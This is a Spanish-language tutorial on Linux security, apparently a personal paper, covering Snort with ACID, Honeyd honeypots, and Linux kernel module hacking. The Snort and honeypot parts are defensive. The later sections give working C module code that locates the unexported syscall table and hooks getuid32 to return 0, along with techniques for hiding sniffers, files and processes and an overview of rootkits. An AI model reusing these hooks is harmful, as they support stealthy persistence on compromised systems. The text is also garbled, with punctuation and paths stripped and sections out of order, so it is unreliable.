Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
7- Moacutedulos para la serie 26 del nuacutecleo
Lo mejor para empezar es ver un listado de coacutedigo
Primer ejemplo de un LKM para la serie 26
1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)
Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor
KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt
No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas
Kernel hacks y seguridad JMP
Compilacioacuten de LKMs para la serie 26
En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea
obj-m = moduloo
Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar
Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente
root make -C usrsrclinux SUBDIRS=$PWD modules
Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod
8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo
Encontrando la Sys_call_table[]
Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave
Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema
Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT
Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa
Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
He omitido algunos comentario del fichero y demaacutes por brevedad
Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
